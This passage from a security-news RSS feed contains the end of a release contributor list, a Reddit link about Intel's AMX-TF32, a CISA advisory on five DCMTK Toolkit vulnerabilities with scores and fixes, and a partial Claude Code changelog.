<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kangsoo-bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kangsoo-bit">@kangsoo-bit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kartik-mem0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kartik-mem0">@kartik-mem0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keiravoss94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keiravoss94">@keiravoss94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kenyonxu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kenyonxu">@kenyonxu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kernel-t1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kernel-t1">@kernel-t1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kewe63/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kewe63">@Kewe63</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KeyArgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KeyArgo">@KeyArgo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KiruyaMomochi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KiruyaMomochi">@KiruyaMomochi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kn8-codes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kn8-codes">@kn8-codes</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kolektori/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kolektori">@Kolektori</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kyssta-exe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kyssta-exe">@kyssta-exe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kyzcreig/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kyzcreig">@Kyzcreig</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lazymonter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lazymonter">@Lazymonter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LehaoLin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LehaoLin">@LehaoLin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD,<br>
@libre-7, @LIC99, @LifeJiggy, @linyubin, @liuhao1024, @lkevincc0, @lkz-de, @loes5050, @londo161, @lubosxyz,<br>
@m24927605, @MaheshtheDev, @manus-use, @marco0158, @MarioYounger, @martinramos002-bot, @MattKotsenas,<br>
@max-chen, @MaxFreedomPollard, @maxmilian, @maxpetrusenko, @memosr, @Mibayy, @Minksgo, @mintybasil, @mkslzk,<br>
@mohamedorigami-jpg, @MorAlekss, @mrparker0980, @ms-alan, @namredips, @nankingjing, @natehale, @necoweb3,<br>
@neo-2026, @Nickperillo, @nightq, @nikshepsvn, @nnnet, @nocturnum91, @nodejun, @NousResearch, @nycomar,<br>
@OmarB97, @orbisai0security, @oreoluwa, @outsourc-e, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @p-andhika, @panghuer023, @Paperclip,<br>
@peetwan, @pefontana, @petrichor-op, @pinguarmy, @PINKIIILQWQ, @pmos69, @PolyphonyRequiem, @pprism13,<br>
@PRATHAMESH75, @professorpalmer, @pyxl-dev, @Que0x, @qWaitCrypto, @r266-tech, @RafaelMiMi, @Railway9784,<br>
@randomuser2026x, @rayjun, @rc-int, @rebel0789, @redactdeveloper, @riyas22, @rlaope, @rob-maron, @rodboev,<br>
@rodrigoeqnit, @rratmansky, @rrevenanttt, @ruangraung, @Ruzzgar, @ryo-solo, @s010mn, @Sahil-SS9,<br>
@SahilRakhaiya05, @SandroHub013, @Sanjays2402, @sasquatch9818, @ScotterMonk, @season179, @sgabel, @sgaofen,<br>
@sgtworkman, @shandian64, @shannonsands, @shashwatgokhe, @shawchanshek, @sherman-yang, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @SidUParis,<br>
@SimoKiihamaki, @simpolism, @sjh9714, @skabartem, @skyc1e, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>, @soynchux, @spiky02plateau, @spjoes,<br>
@sprmn24, @srojk34, @stepanov1975, @steveonjava, @Subway2023, @sweetcornna, @swissly, @Sworntech-dev,<br>
@syahidfrd, @synapsesx, @szzhoujiarui-sketch, @talmax1124, @telos-oc, @testingbuddies24, @texhy, @tgmerritt,<br>
@theAgenticBuilder, @thestral123, @tkwong, @Tortugasaur, @Tranquil-Flow, @trevorgordon981, @truenorth-lj,<br>
@tt-a1i, @tuancookiez-hub, @TutkuEroglu, @tymrtn, @udatny, @UgwujaGeorge, @underthestars-zhy, @uperLu,<br>
@uzunkuyruk, @valenteff, @valentt, @vanthinh6886, @Versun, @victor-kyriazakos, @virtuadex, @vKongv,<br>
@w31rdm4ch1nZ, @weidzhou, @wgu9, @whoislikemiha, @wnuuee1, @woaini30050, @WuKongAI-CMU, @WuTianyi123, @WXBR,<br>
@x7peeps, @x9x9x9x9x9x91, @Xowiek, @xxchan, @xxxigm, @xydigit-zt, @yapsrubricsz0, @yashiels, @yeyitech, @ygd58,<br>
@YLChen-007, @yong2bba, @yoniebans, @ypwcharles, @yu-xin-c, @yungchentang, @yusekiotacode, @YuShu, @yyzquwu,<br>
@zapabob, @zccyman, @zeapsu, @zmlgit, @znding04, @Zyxxx-xxxyZ</p>
<p>Also: Lucas Nicolas.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.19...v2026.7.1">v2026.6.19...v2026.7.1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Intel has killed off AMX-TF32 support before it even shipped in Diamond Rapids]]></title>
<description><![CDATA[submitted by    /u/somerandomxander   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3637205/linux-tipps/intel-has-killed-off-amx-tf32-support-before-it-even-shipped-in-diamond-rapids/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637205/linux-tipps/intel-has-killed-off-amx-tf32-support-before-it-even-shipped-in-diamond-rapids/</guid>
<pubDate>Wed, 01 Jul 2026 03:39:02 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/somerandomxander"> /u/somerandomxander </a> <br> <span><a href="https://www.phoronix.com/news/Intel-Kills-AMX-TF32">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ujwimz/intel_has_killed_off_amxtf32_support_before_it/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[OFFIS DCMTK Toolkit]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker to write files, access unauthorized information, exhaust memory, or crash affected DCMTK client or server processes.
The following versions of OFFIS DCMTK Toolkit are affected:

DCMTK]]></description>
<link>https://tsecurity.de/de/3636222/it-security-nachrichten/offis-dcmtk-toolkit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636222/it-security-nachrichten/offis-dcmtk-toolkit/</guid>
<pubDate>Tue, 30 Jun 2026 18:24:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsma-26-181-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker to write files, access unauthorized information, exhaust memory, or crash affected DCMTK client or server processes.</strong></p>
<p>The following versions of OFFIS DCMTK Toolkit are affected:</p>
<ul>
<li>DCMTK &lt;=3.7.0 (CVE-2026-50003, CVE-2026-50254, CVE-2026-35505, CVE-2026-52868, CVE-2026-44628)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>OFFIS</td>
<td>OFFIS DCMTK Toolkit</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Missing Release of Memory after Effective Lifetime, Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Healthcare and Public Health</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50003</a></h3>
<div class="csaf-accordion-content">
<p>A malicious or compromised server can make a DCMTK client using bit-preserving C-GET storage mode write files outside the chosen output directory, using both relative (../) paths and absolute paths.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50003">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>OFFIS DCMTK Toolkit</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>OFFIS</div>
<div class="ics-version"><strong>Product Version:</strong><br>OFFIS DCMTK: &lt;=3.7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:</p>
<p><strong>Vendor fix</strong><br>https://github.com/DCMTK/dcmtk/releases/tag/latest.<br><a href="https://github.com/DCMTK/dcmtk/releases/tag/latest">https://github.com/DCMTK/dcmtk/releases/tag/latest</a></p>
<p><strong>Mitigation</strong><br>Users are recommended to download the latest GitHub release once it becomes available.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.3</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50254</a></h3>
<div class="csaf-accordion-content">
<p>An unauthenticated remote attacker can repeatedly send a single crafted connection request to leak memory. Against storescp in its default single-process mode, memory grows quickly and the service is eventually killed, after which it stops accepting connections until an operator restarts it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50254">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>OFFIS DCMTK Toolkit</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>OFFIS</div>
<div class="ics-version"><strong>Product Version:</strong><br>OFFIS DCMTK: &lt;=3.7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:</p>
<p><strong>Vendor fix</strong><br>https://github.com/DCMTK/dcmtk/releases/tag/latest.<br><a href="https://github.com/DCMTK/dcmtk/releases/tag/latest">https://github.com/DCMTK/dcmtk/releases/tag/latest</a></p>
<p><strong>Mitigation</strong><br>Users are recommended to download the latest GitHub release once it becomes available.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-35505</a></h3>
<div class="csaf-accordion-content">
<p>An unauthenticated remote attacker can repeatedly send crafted connection requests to leak memory. In single-process deployments the memory grows until the service is killed and the port stops responding until restart.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-35505">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>OFFIS DCMTK Toolkit</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>OFFIS</div>
<div class="ics-version"><strong>Product Version:</strong><br>OFFIS DCMTK: &lt;=3.7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:</p>
<p><strong>Vendor fix</strong><br>https://github.com/DCMTK/dcmtk/releases/tag/latest.<br><a href="https://github.com/DCMTK/dcmtk/releases/tag/latest">https://github.com/DCMTK/dcmtk/releases/tag/latest</a></p>
<p><strong>Mitigation</strong><br>Users are recommended to download the latest GitHub release once it becomes available.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-52868</a></h3>
<div class="csaf-accordion-content">
<p>An unauthenticated attacker can read worklist records from a directory outside the intended per-AE worklist storage area. In a multi-area deployment, this can cross departmental or clinic data separation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-52868">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>OFFIS DCMTK Toolkit</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>OFFIS</div>
<div class="ics-version"><strong>Product Version:</strong><br>OFFIS DCMTK: &lt;=3.7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:</p>
<p><strong>Vendor fix</strong><br>https://github.com/DCMTK/dcmtk/releases/tag/latest.<br><a href="https://github.com/DCMTK/dcmtk/releases/tag/latest">https://github.com/DCMTK/dcmtk/releases/tag/latest</a></p>
<p><strong>Mitigation</strong><br>Users are recommended to download the latest GitHub release once it becomes available.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-44628</a></h3>
<div class="csaf-accordion-content">
<p>An unauthenticated attacker can crash the worklist server with a single crafted query when the server has a valid Called AE Title / storage directory, the expected lockfile, and at least one matching worklist record.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-44628">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>OFFIS DCMTK Toolkit</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>OFFIS</div>
<div class="ics-version"><strong>Product Version:</strong><br>OFFIS DCMTK: &lt;=3.7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:</p>
<p><strong>Vendor fix</strong><br>https://github.com/DCMTK/dcmtk/releases/tag/latest.<br><a href="https://github.com/DCMTK/dcmtk/releases/tag/latest">https://github.com/DCMTK/dcmtk/releases/tag/latest</a></p>
<p><strong>Mitigation</strong><br>Users are recommended to download the latest GitHub release once it becomes available.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Abhinav Agarwal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-30</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-30</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.196]]></title>
<description><![CDATA[What's changed

Added support for organization default models — admins set it in the org console; it shows as "Org default" (or "Role default") in /model when you haven't picked one yourself
Added readable default names for sessions at start, making them easier to identify and message
Added click...]]></description>
<link>https://tsecurity.de/de/3634245/downloads/v21196/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634245/downloads/v21196/</guid>
<pubDate>Tue, 30 Jun 2026 01:46:34 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added support for organization default models — admins set it in the org console; it shows as "Org default" (or "Role default") in <code>/model</code> when you haven't picked one yourself</li>
<li>Added readable default names for sessions at start, making them easier to identify and message</li>
<li>Added clickable file attachments in chat — Cmd/Ctrl-click reveals the file in Finder/Explorer</li>
<li>Security: <code>claude mcp list</code>/<code>get</code> no longer spawn <code>.mcp.json</code> servers that a repo self-approved via a committed <code>.claude/settings.json</code>; untrusted workspaces show <code>⏸ Pending approval</code></li>
<li>Fixed waking a background job permanently deleting its conversation and re-running the original prompt when the transcript probe misread a real transcript; the file is now set aside, never deleted</li>
<li>Fixed the rate-limit warning flickering off and rate-limit telemetry being over-counted when multiple parallel requests were in flight at the moment a usage limit was hit</li>
<li>Fixed duplicate recap lines after a background session's turn: a schema-rejected StructuredOutput attempt no longer renders alongside its retry</li>
<li>Fixed PowerShell <code>git diff</code>/<code>git grep</code>, <code>egrep</code>/<code>fgrep</code>, and quoted search patterns containing <code>|</code> being reported as failures when they exit 1, matching Bash behavior</li>
<li>Fixed multiple <code>claude agents</code> side panel issues: keyboard focus getting stuck when opening an agent, background jobs losing their subagent types on every open, and sessions showing incorrect status while actively running</li>
<li>Fixed <code>claude agents --dangerously-skip-permissions</code> silently falling back to auto mode instead of showing the bypass disclaimer and applying bypass mode to spawned agents</li>
<li>Fixed mid-turn crash recovery for Remote sessions — sessions interrupted by a server restart now auto-resume on the next worker</li>
<li>Fixed sessions moved with <code>/cd</code> reappearing in the old directory's resume list after a non-graceful exit when the old path contained special characters</li>
<li>Fixed <code>claude plugin validate</code> skipping local plugins whose source is "." and stopping after the first error class</li>
<li>Fixed Esc Esc at an idle prompt not opening the rewind menu (regression); use Ctrl+C or Ctrl+X Ctrl+K to stop background agents</li>
<li>Fixed MCP OAuth requesting the authorization server's full <code>scopes_supported</code> catalog when no scope is specified, causing <code>invalid_scope</code> failures on GitLab self-hosted and other enterprise IdPs</li>
<li>Fixed <code>/context</code> showing 0 tokens for all tool groups on Bedrock</li>
<li>Fixed <code>/deep-research</code> misreporting verifier failures as "all claims refuted" instead of <code>unverified</code></li>
<li>Fixed plugin dependency version pins not being honored when the marketplace was added as a local folder path backed by a git repo</li>
<li>Fixed <code>claude agents</code> session status: completed rows no longer flip between "Done" and "Needs your input", stalled agents are now labeled "Needs attention", and results that mention a PR show a clickable link</li>
<li>Fixed voice dictation swallowing spaces and spuriously starting a recording during very fast typing when voice mode is enabled</li>
<li>Improved background session reliability: long-running commands and workflows now survive the session's process being stopped, restarted, or updated — including on Windows, where background shells are handed off instead of being killed</li>
<li>Improved background agents: workers killed by a daemon restart are now automatically resumed from where they left off the next time the agents view opens</li>
<li>Improved <code>/code-review</code> workflow: merged five cleanup finders into one, cutting token usage by roughly 25%</li>
<li>Reduced per-frame rendering work in the terminal UI by skipping no-op subtree walks during streaming</li>
<li>The streaming idle watchdog is now on by default for all providers — it aborts and retries when a response stream produces no events for 5 minutes. Set <code>CLAUDE_ENABLE_STREAM_WATCHDOG=0</code> to disable.</li>
<li>Remote Control is now disabled when <code>ANTHROPIC_BASE_URL</code> points at a non-Anthropic host, matching the existing behavior under <code>CLAUDE_CODE_USE_BEDROCK</code>/<code>_VERTEX</code>/<code>_FOUNDRY</code></li>
